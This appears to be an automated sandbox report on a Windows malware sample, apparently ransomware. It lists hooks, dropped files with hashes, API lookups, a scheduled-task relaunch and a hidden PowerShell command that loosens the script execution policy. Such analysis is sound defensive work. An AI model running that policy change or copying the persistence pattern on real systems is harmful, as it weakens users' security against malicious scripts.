0x B40
Memory Dumps
»
Name Start VA End VA Dump Reason PE Rebuilds Bitness Entry Points AV YARA Actions
buffer 0x005D5000 0x005D5FFF Marked Executable - 32-bit - False False
...
Hook Information
»
Type Installer Target Size Information Actions
IAT private_0x00000000005c0000:+0x1679d 104. entry of updatewin1.exe 4 bytes kernel32.dll:GetConsoleCP+0x0 now points to pagefile_0x00000000009e0000:+0x58f6f6
...
Dropped Files
»
Filename File Size Hash Values YARA Match Actions
C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\script.ps1 49 bytes MD5: f972c62f986b5ed49ad7713d93bf6c9f
SHA1: 4e157002bdb97e9526ab97bfafbf7c67e1d1efbf
SHA256: b47f85974a7ec2fd5aa82d52f08eb0f6cea7e596a98dd29e8b85b5c37beca0a8
SSDeep: 3:uIHeGAFcX5wTnl:/eGgHTl 		False
...
Host Behavior
File (8)
»
Operation Filename Additional Information Success Count Logfile
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\script.ps1 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Open STD_INPUT_HANDLE - True 2
Fn
Open STD_OUTPUT_HANDLE - True 2
Fn
Open STD_ERROR_HANDLE - True 2
Fn
Write C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\script.ps1 size = 49 True 1
Fn
Data
Process (1)
»
Operation Process Additional Information Success Count Logfile
Create powershell os_pid = 0xb48, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_HIDE True 1
Fn
Module (150)
»
Operation Module Additional Information Success Count Logfile
Load kernel32.dll base_address = 0x76c20000 True 2
Fn
Load KERNEL32.dll base_address = 0x76c20000 True 1
Fn
Load ADVAPI32.dll base_address = 0x74d40000 True 1
Fn
Load SHELL32.dll base_address = 0x75fd0000 True 1
Fn
Load SHLWAPI.dll base_address = 0x75340000 True 1
Fn
Load msvcr100.dll base_address = 0x749c0000 True 1
Fn
Load api-ms-win-core-synch-l1-2-0 base_address = 0x0 False 2
Fn
Load kernel32 base_address = 0x0 False 2
Fn
Load kernel32 base_address = 0x76c20000 True 2
Fn
Load api-ms-win-core-fibers-l1-1-1 base_address = 0x0 False 2
Fn
Load api-ms-win-core-localization-l1-2-1 base_address = 0x0 False 1
Fn
Get Handle c:\windows\syswow64\kernel32.dll base_address = 0x76c20000 True 11
Fn
Get Filename - process_name = c:\users\5p5nrgjn0js halpmcxz\appdata\local\14eec914-0e8f-4440-8677-a8df15bdfc40\updatewin1.exe, file_name_orig = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\14eec914-0e8f-4440-8677-a8df15bdfc40\updatewin1.exe, size = 260 True 1
Fn
Get Filename api-ms-win-core-localization-l1-2-1 process_name = c:\users\5p5nrgjn0js halpmcxz\appdata\local\14eec914-0e8f-4440-8677-a8df15bdfc40\updatewin1.exe, file_name_orig = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\14eec914-0e8f-4440-8677-a8df15bdfc40\updatewin1.exe, size = 260 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsAlloc, address_out = 0x76c34f2b True 3
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsGetValue, address_out = 0x76c31252 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsSetValue, address_out = 0x76c34208 True 3
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsFree, address_out = 0x76c3359f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EncodePointer, address_out = 0x77170fcb True 9
Fn
Get Address c:\windows\syswow64\kernel32.dll function = DecodePointer, address_out = 0x77169d35 True 4
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateToolhelp32Snapshot, address_out = 0x76c5735f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = Module32FirstW, address_out = 0x76c579f9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = VirtualAlloc, address_out = 0x76c31856 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = VirtualProtect, address_out = 0x76c3435f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = VirtualFree, address_out = 0x76c3186e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetVersionExA, address_out = 0x76c33519 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TerminateProcess, address_out = 0x76c4d802 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = ExitProcess, address_out = 0x76c37a10 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetErrorMode, address_out = 0x76c31b00 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateFileA, address_out = 0x76c353c6 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WriteFile, address_out = 0x76c31282 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlushFileBuffers, address_out = 0x76c3469b True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CloseHandle, address_out = 0x76c31410 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateProcessA, address_out = 0x76c31072 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrcpyW, address_out = 0x76c53102 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateProcessW, address_out = 0x76c3103d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WaitForSingleObject, address_out = 0x76c31136 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateFileW, address_out = 0x76c33f5c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrlenA, address_out = 0x76c35a4b True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WideCharToMultiByte, address_out = 0x76c3170d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = MultiByteToWideChar, address_out = 0x76c3192e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCommandLineW, address_out = 0x76c35223 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WriteConsoleW, address_out = 0x76c57aca True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetFilePointerEx, address_out = 0x76c4c807 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetConsoleMode, address_out = 0x76c31328 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = DeleteFileA, address_out = 0x76c35444 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = HeapReAlloc, address_out = 0x77171f6e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = HeapSize, address_out = 0x77163002 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetProcessHeap, address_out = 0x76c314e9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LCMapStringW, address_out = 0x76c317b9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetStringTypeW, address_out = 0x76c31946 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetFileType, address_out = 0x76c33531 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetStdHandle, address_out = 0x76cb454f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrcatA, address_out = 0x76c52b7a True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrcpyA, address_out = 0x76c52a9d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetEnvironmentVariableA, address_out = 0x76c333a0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetShortPathNameA, address_out = 0x76c5594d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleFileNameA, address_out = 0x76c314b1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetConsoleCP, address_out = 0x76cd7bff True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetLastError, address_out = 0x76c311a9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FreeEnvironmentStringsW, address_out = 0x76c351cb True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetEnvironmentStringsW, address_out = 0x76c351e3 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCommandLineA, address_out = 0x76c351a1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCPInfo, address_out = 0x76c35189 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetOEMCP, address_out = 0x76c5d1a1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsValidCodePage, address_out = 0x76c34493 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = UnhandledExceptionFilter, address_out = 0x76c5772f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetUnhandledExceptionFilter, address_out = 0x76c387c9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentProcess, address_out = 0x76c31809 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsProcessorFeaturePresent, address_out = 0x76c35235 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = QueryPerformanceCounter, address_out = 0x76c31725 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentProcessId, address_out = 0x76c311f8 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentThreadId, address_out = 0x76c31450 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetSystemTimeAsFileTime, address_out = 0x76c33509 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = InitializeSListHead, address_out = 0x771694a4 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsDebuggerPresent, address_out = 0x76c34a5d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetStartupInfoW, address_out = 0x76c34d40 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleHandleW, address_out = 0x76c334b0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = RtlUnwind, address_out = 0x76c5d1c3 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = RaiseException, address_out = 0x76c358a6 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLastError, address_out = 0x76c311c0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EnterCriticalSection, address_out = 0x771522b0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LeaveCriticalSection, address_out = 0x77152270 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = DeleteCriticalSection, address_out = 0x771645f5 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = InitializeCriticalSectionAndSpinCount, address_out = 0x76c31916 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TlsAlloc, address_out = 0x76c349ad True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TlsGetValue, address_out = 0x76c311e0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TlsSetValue, address_out = 0x76c314fb True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TlsFree, address_out = 0x76c33587 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FreeLibrary, address_out = 0x76c334c8 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetProcAddress, address_out = 0x76c31222 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LoadLibraryExW, address_out = 0x76c3495d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetStdHandle, address_out = 0x76c351b3 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleFileNameW, address_out = 0x76c34950 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleHandleExW, address_out = 0x76c34a6f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetACP, address_out = 0x76c3179c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = HeapAlloc, address_out = 0x7715e026 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = HeapFree, address_out = 0x76c314c9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FindClose, address_out = 0x76c34442 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FindFirstFileExW, address_out = 0x76c41811 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FindNextFileW, address_out = 0x76c354ee True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegOpenKeyExW, address_out = 0x74d5468d True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegCloseKey, address_out = 0x74d5469d True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegCreateKeyExW, address_out = 0x74d540fe True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = SetSecurityDescriptorDacl, address_out = 0x74d5415e True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = InitializeSecurityDescriptor, address_out = 0x74d54620 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegSetValueExW, address_out = 0x74d514d6 True 1
Fn
Get Address c:\windows\syswow64\shell32.dll function = ShellExecuteExW, address_out = 0x75ff1e46 True 1
Fn
Get Address c:\windows\syswow64\shell32.dll function = SHGetFolderPathW, address_out = 0x76055708 True 1
Fn
Get Address c:\windows\syswow64\shell32.dll function = CommandLineToArgvW, address_out = 0x75fe9ee8 True 1
Fn
Get Address c:\windows\syswow64\shlwapi.dll function = PathAppendW, address_out = 0x753581ef True 1
Fn
Get Address c:\windows\syswow64\shlwapi.dll function = PathFileExistsA, address_out = 0x7537ad1a True 1
Fn
Get Address c:\windows\syswow64\shlwapi.dll function = PathRemoveFileSpecW, address_out = 0x75353248 True 1
Fn
Get Address c:\windows\syswow64\msvcr100.dll function = atexit, address_out = 0x749dc544 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = InitializeCriticalSectionEx, address_out = 0x76c34d28 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LCMapStringEx, address_out = 0x76cb47f1 True 1
Fn
System (256)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 2019-07-13 15:57:27 (UTC) True 1
Fn
Get Time type = Ticks, time = 113771 True 1
Fn
Get Time type = Performance Ctr, time = 17233835888 True 1
Fn
Get Time type = Ticks, time = 113896 True 1
Fn
Get Time type = System Time True 249
Fn
Get Time type = System Time, time = 2019-07-13 15:57:28 (UTC) True 1
Fn
Get Time type = Performance Ctr, time = 17294284011 True 1
Fn
Get Info type = Operating System True 1
Fn
Environment (2)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 2
Fn
Data
Process #11: powershell.exe
0 0
»
Information Value
ID #11
File Name c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
Command Line powershell -Command Set-ExecutionPolicy -Scope CurrentUser RemoteSigned
Initial Working Directory C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\14eec914-0e8f-4440-8677-a8df15bdfc40\
Monitor Start Time: 00:00:52, Reason: Child Process
Unmonitor End Time: 00:01:03, Reason: Self Terminated
Monitor Duration 00:00:11
Remark No high level activity detected in monitored regions
OS Process Information
»
Information Value
PID 0xb48
Parent PID 0xb3c (c:\users\5p5nrgjn0js halpmcxz\appdata\local\14eec914-0e8f-4440-8677-a8df15bdfc40\updatewin1.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x B4C
0x B60
0x B64
0x B68
0x B88
0x B8C
0x B90
Process #12: taskeng.exe
0 0
»
Information Value
ID #12
File Name c:\windows\system32\taskeng.exe
Command Line taskeng.exe {E387FC81-F75C-4FE1-BEB5-A923C4A8692A} S-1-5-21-3388679973-3930757225-3770151564-1000:XDUWTFONO\5p5NrGJn0jS HALPmcxz:Interactive:LUA[1]
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:00:58, Reason: Created Scheduled Job
Unmonitor End Time: 00:01:04, Reason: Self Terminated
Monitor Duration 00:00:06
Remark No high level activity detected in monitored regions
OS Process Information
»
Information Value
PID 0xb98
Parent PID 0x36c (c:\windows\system32\svchost.exe)
Bitness 64-bit
Is Created or Modified Executable False
Integrity Level Medium
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x B9C
0x BA0
0x BA4
0x BA8
0x BAC
0x BB0
0x BB4
Process #13: cusershpappdatalocal03562a36-8263-4270-b004-3b05eb1758e3e285.tmp.exe
0 0
»
Information Value
ID #13
File Name c:\users\5p5nrgjn0js halpmcxz\appdata\local\6b294fe4-e3b3-4741-b743-c8423c8d7aef\cusershpappdatalocal03562a36-8263-4270-b004-3b05eb1758e3e285.tmp.exe
Command Line "C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\6b294fe4-e3b3-4741-b743-c8423c8d7aef\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe" --Task
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:00:59, Reason: Child Process
Unmonitor End Time: 00:01:04, Reason: Self Terminated
Monitor Duration 00:00:04
Remark No high level activity detected in monitored regions
OS Process Information
»
Information Value
PID 0xbb8
Parent PID 0xb98 (c:\windows\system32\taskeng.exe)
Bitness 32-bit
Is Created or Modified Executable True
Integrity Level Medium
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x 640
0x BBC
Process #17: cusershpappdatalocal03562a36-8263-4270-b004-3b05eb1758e3e285.tmp.exe
3392 3
»
Information Value
ID #17
File Name c:\users\5p5nrgjn0js halpmcxz\appdata\local\6b294fe4-e3b3-4741-b743-c8423c8d7aef\cusershpappdatalocal03562a36-8263-4270-b004-3b05eb1758e3e285.tmp.exe
Command Line "C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\6b294fe4-e3b3-4741-b743-c8423c8d7aef\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe" --AutoStart
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:01:26, Reason: Autostart
Unmonitor End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration 00:02:58
OS Process Information
»
Information Value
PID 0x544
Parent PID 0x470 (Unknown)
Bitness 32-bit
Is Created or Modified Executable True
Integrity Level Medium
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x 548
0x 6BC
0x 6D4
0x 6E4
0x 6E8
0x 6EC
0x 6F4
0x 6F8
0x 628
0x 634
0x 670
0x 67C
0x 6B8
0x 274
0x 33C
Memory Dumps
»
Name Start VA End VA Dump Reason PE Rebuilds Bitness Entry Points AV YARA Actions
cusershpappdatalocal03562a36-8263-4270-b004-3b05eb1758e3e285.tmp.exe 0x00400000 0x0053FFFF Relevant Image - 32-bit - True False
...
Dropped Files
»
Filename File Size Hash Values YARA Match Actions
C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\asdlfk poopvy.contact 1.22 KB MD5: 23c44633347ff1ffe149bf1db0262f5e
SHA1: e372bccc49c56f1f8d7a5738eec6f9473e68ec17
SHA256: c18f03fa4a6ce666a5f1c1fb4ed06a01486886f673dbd06ee4f60df13851205a
SSDeep: 24:CgtYIFykyRre62UKc/234afKP5dKWBe4ZwnRHBS9mh31+28hGOoqw/XZbD:Ztck1Udc4R5de0wRh2mtw7hGOoP/pD 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\sikvnb huvuib.contact 1.22 KB MD5: 9d9a9bec2b0d79dd7003a5ee54ee7eca
SHA1: 09ac5098a1a387f51a1660cba6de47839a843600
SHA256: f3cbb38343543d08645e894b66e32ab7900d5569a003da468152c35015d1a0a5
SSDeep: 24:CgtYIFykyRre62UKc/20SJfKP5dYIUqPVK+Z7lBN9DX5ptI/NDhM+HPdZbD:Ztck1UdP5dnUq9K+1DXWVVMEjD 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\-args_Zs.swf 12.71 KB MD5: f4bb1d70e15310a61727818b05ba8625
SHA1: daa0e8a345aa1a5c95cb645962fc4688eac1dc78
SHA256: cc85d09b6bb00fe889db36c6927c4665b1b7945106baed50cba13b881acfb16a
SSDeep: 192:OM7TjXQIP2/JUY0J0X+3E8aUio1vouGS1L9270H+I02WFUFqWusog8UB:B7yUYR+3E8DAujw73I02WFiNomB 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\9fAUwhZz7XQ47.flv 6.69 KB MD5: 5e2a07bd6d1df8db87ebfd0cae0b22b4
SHA1: d3a14c060ded9e0dad126843c0e933bc2a1fd733
SHA256: 44df0b77c0e52f986fd4accab9f44483d1e50da37a56461e8c736fced8440b1a
SSDeep: 192:T+NNL+jDpFE/nouCjbQ1JlYuD1HXQTu3I0uWV8:sEpIoDED1ZjXuf 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\al9QtC.gif 33.09 KB MD5: ab3621f7ec9386c686bd37524f92d02b
SHA1: 4ef352d57d5a66cd01e9cb6d28cf389bf5832bf2
SHA256: f6f6a8f1638ad4df06dd0c9ca6cf92fdd412ad0a94b078db08662e4994022260
SSDeep: 768:vRBvZrAnDcLmdKcA1R9EgYfzi7HIxPeeJkcr4XDebaLfAaX:vbvZrigPNR9ELi7oxZJkSmRX 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe 584.08 KB MD5: 36ef22b0ddbff60d04e712692559c276
SHA1: ba1288c83886ec1a935ea25187f9249f2f857987
SHA256: 23bf60318213d8ff401a2e4afabb508b1a2fcac0e1fd147cd278029ba57170a4
SSDeep: 12288:HyaXzUq+cmWJ/b1H2hx1gHlwNQSg6DMYM/CNR2X1fuNC:HyaXoq+WVbigHlwaSHYiR2FOC 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\Dnuc8.swf 85.87 KB MD5: c0fb84994c9815fa9405fd4252f8e0ff
SHA1: 2edf0cd47e47df55b459386005a0a671b8fcccbf
SHA256: 68045134bb4d8955d8d245daa67d2efe3fc6272642c306ad244cec6f0aefee45
SSDeep: 1536:yJKqefXWE/VW6cs4s6jicdo/s/cKkZEW7f+z8lARA0D+S5nhlnv:CKq+WE7cs4gcyUEKkZEWD+z8Ix93 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\JIZ4scK0VOvc.jpg 50.43 KB MD5: 523ebed04c2dfc887a9e3bcfb1c6de3d
SHA1: 72fff71bd4ca75abd03029e27c9e854f92f61c61
SHA256: 9ad66d5bb9de335a87e56a1720ce581b96da4a013e4f17a7a557b28ef28c6cb4
SSDeep: 1536:I1bo9nff40Rz4K/Kagrm0vhJhhC7jPSf0Hz:Ko9f+K/SrmqdI7jC0Hz 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\nbzD8p.wav 11.73 KB MD5: fcb161112e5187d94c94f7c717786e92
SHA1: dd9a1274cc875dcece5b603cbc637c7863d36788
SHA256: 00df356fbec247f92985989f06eb8f5664ed2add08bc366becf895c967f25213
SSDeep: 192:gF++g6JZXRhUQttxgQcYEZSpqLDEf3gHW8JF3DPsRMNTfiqUHNy1bf0LArXkXGMb:gF++zRqQ3ClZSgugtH3DPMMN2BtYf2eM 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\Ote7kPgqRa 0Oya j.avi 4.66 KB MD5: 0685bc254728853bd4117cb805fb127e
SHA1: 092650139e1baa68642a27984fe98b3152dbb53d
SHA256: dc790a187e4f50519dfc58c9c66c2dd6f6ae1f40fdf0a2b9e2aba98071071f55
SSDeep: 96:x9GG6j6F6D/0F+TSBIi9nZiDG32VR7xE20EePYM+vCKl:xcGV6D/uh9nZiQP4ePwvXl 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\PnL6Zh.flv 78.09 KB MD5: fe7298a6cbfcd957ab670c093b75f84b
SHA1: ca4f9ef103c5cf2b802c08342cdb8ea1752bfaf1
SHA256: 110863c3fb1ef993ab4471db1a13bcef8ebefaab0bc2160136c9d6f90ed9ee62
SSDeep: 1536:+M0ODjYPa8uHGFSTejQ2/SwPRvL9GMqJonmEdCQT2WxQp3eFaY++oxoU:aAMRAG4yjQzw1LaKnmEUQ/YUNjfU 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\rIBC47zYWHDhfd7P7Cw0.png 97.16 KB MD5: 0ebddbe27c8fda0fc49b4d2937dc3631
SHA1: ca3f9aa8aae31aa5ae90044656f75bd246da0c9a
SHA256: c846d368fbad1b6047c27bbefc0eef6ca59bc0c79c3bb043bf0b9d52feb59cb0
SSDeep: 3072:umE4XWC6QbTLoLbdS8KLUurpJZ6a5GGWo:xE+96QbQSU7W7 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\RrZY-uYtP04ki0fgCu.rtf 7.54 KB MD5: 3d08d1f67dce161663e746a46c6e86d0
SHA1: c70816efcc0fff8504ae0da3df3f3b68511fabfa
SHA256: 621f898f95261bf8efe84725c7a613e924c90202e695f8f56fe7f1ba22e665c9
SSDeep: 192:QH3gav+rRwh0q5qFSU8TswMX20jc/3yzpAur1P:QQa1nD0X22sCzXRP 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\j_udvQCV.xlsx 6.93 KB MD5: e4ea472286cc1d9c32f93d4a6b966a94
SHA1: 5bbb93ab965383f526c856ac4f8745b0280bfd4c
SHA256: 71a9d5d68c0248e795e6b8acc4f92f35ea484a3da31d53688ff517c8fbea0ebb
SSDeep: 192:Hvg06BAlitPnp4j17q/S9566/mhlAzo0+/g9fS525VUsGnYQd:Oqixn6574S95H/8qj+YA23UFDd 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\kei5.docx 23.47 KB MD5: 375261b2c29c3b5fdbb18f8b5fe24221
SHA1: 8867af644520ae178a9f0d7d7d8db28d17e18688
SHA256: 86ce17ead30abc9b2925cd68e260ed724672ac6fa54ed098916511109b344189
SSDeep: 384:FmWOakaPzdC2bnMadjmo0AdkgPjim9xYhyvCxXAECOVdDZr:FmWLkaPhC2bnMaigPumwseA+DZr 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\kX2tA98.odp 97.94 KB MD5: fdfd39d3753facfc7db7603f67e5d7e1
SHA1: acbd607c1c8bddac6fba9de58cef8d0b0495f7c3
SHA256: e87f053ee797af44fadb1ed22647190298bedccedeb9cf49853fabfa06844d42
SSDeep: 1536:NEhJxHu7HCcey3zKK2WDKAm6Ah8sXntwXiz+nkw1UuU34vDHj:NEhPu7iN+zx9JmbXnmXizwTwODHj 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\L7nPtbAUFXsB.xlsx 4.71 KB MD5: 20511a7d0b8b85c56c93dee6ae1c9548
SHA1: 86efc6fe886006acf87fec4a055cf260c99f3871
SHA256: 3c250f1241c0e96e5a556b625363152eb8813a04caae065fd06fcf357861a727
SSDeep: 96:HjTZXnf0An016lwnKJQAhtfuVestX6HDJTlkt5bPNNNIg2ABK9H5ODFA3q:HjTRs6lQKKAuVe/D5C1PNNNIx1L4d 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OwRe9Z9bAXQhesUnEazF.doc 79.84 KB MD5: 3c15515915c3cf92671be1a7e46291e6
SHA1: 46736c7ef866c543945d951cae50c90a55cd5279
SHA256: 08c540e88d3b6bfb6f49257e6078debc9e396d43dca36027fcfe62a8f6f4f2c7
SSDeep: 1536:/xasNQdXm4cdQ69L6wEkRMFFPcm/6ffEeUZBwE0DWYiJ/3:/xNem44Q6swEkKFe+4KZbJ/3 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\pKUj8876P.docx 21.51 KB MD5: 1dd297dba452f8acb0e42b84fbf93a2a
SHA1: 3753efe9669907e8bcf5d264bf594b070f952be2
SHA256: 13fcd605929767504e10d8accc96879681bc29afe1603b8396856e97a0c62f39
SSDeep: 384:b4w2YuN6lQQ3CBN+4068LN9UXX/gZ+/DARJnzoyvrcMP7VrsDdsUlO/QrWI6HYhs:b4wRuslSx0nLPKoasc43VI+/WqOs 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\PxpzY_JBUc8.ppt 65.60 KB MD5: 29e3a97632822a1a72b471a17c241bf6
SHA1: f674355139972529c0bec50a182fdc8030305517
SHA256: 56bc6998cbe94c83b8e698adbc00b2a760331cc778c4692290718d6057088a95
SSDeep: 1536:DQ4wNy5dAx2bV4lDr2Pvhl3hsK90i/LGtsBSA5UrWyI13Igy:DQ4h9ql/2Pp900LSA5nR13zy 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\U3qy.pptx 55.23 KB MD5: 423d7059ef086fedde78bc016ded3ef8
SHA1: 7dac0da06c6819ef9a2cbc5dde9f58fea6433243
SHA256: 1517d114fc95fc9fb37cacef98228c8df7f3067eee6e1eb6eae347aaf1b6e699
SSDeep: 1536:XXS+W84BBqI2P1HpOxdfA9VeYvROd5tJlY:X/W8aBn2RYxKzSdzDY 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\U9 Gu49ZvH33.docx 89.74 KB MD5: a85d8008bbb78759d77cefcc8d5bab88
SHA1: fdb22b287f1537f8c30ef7e015313d1efe257504
SHA256: dc7c8ecdc2c5802bbd8e997b8c632ebc2fd5f57d64c902c146579846b34ccd9c
SSDeep: 1536:TfmebmSCzn12KviKGRk3dg5zkUL7khx9DHQXdojXKhY3jDeLYZ0wsaFOM/HDRhab:TeZSCz12EiKrazd7ODwuywjDe6zFOEH+ 		False
...
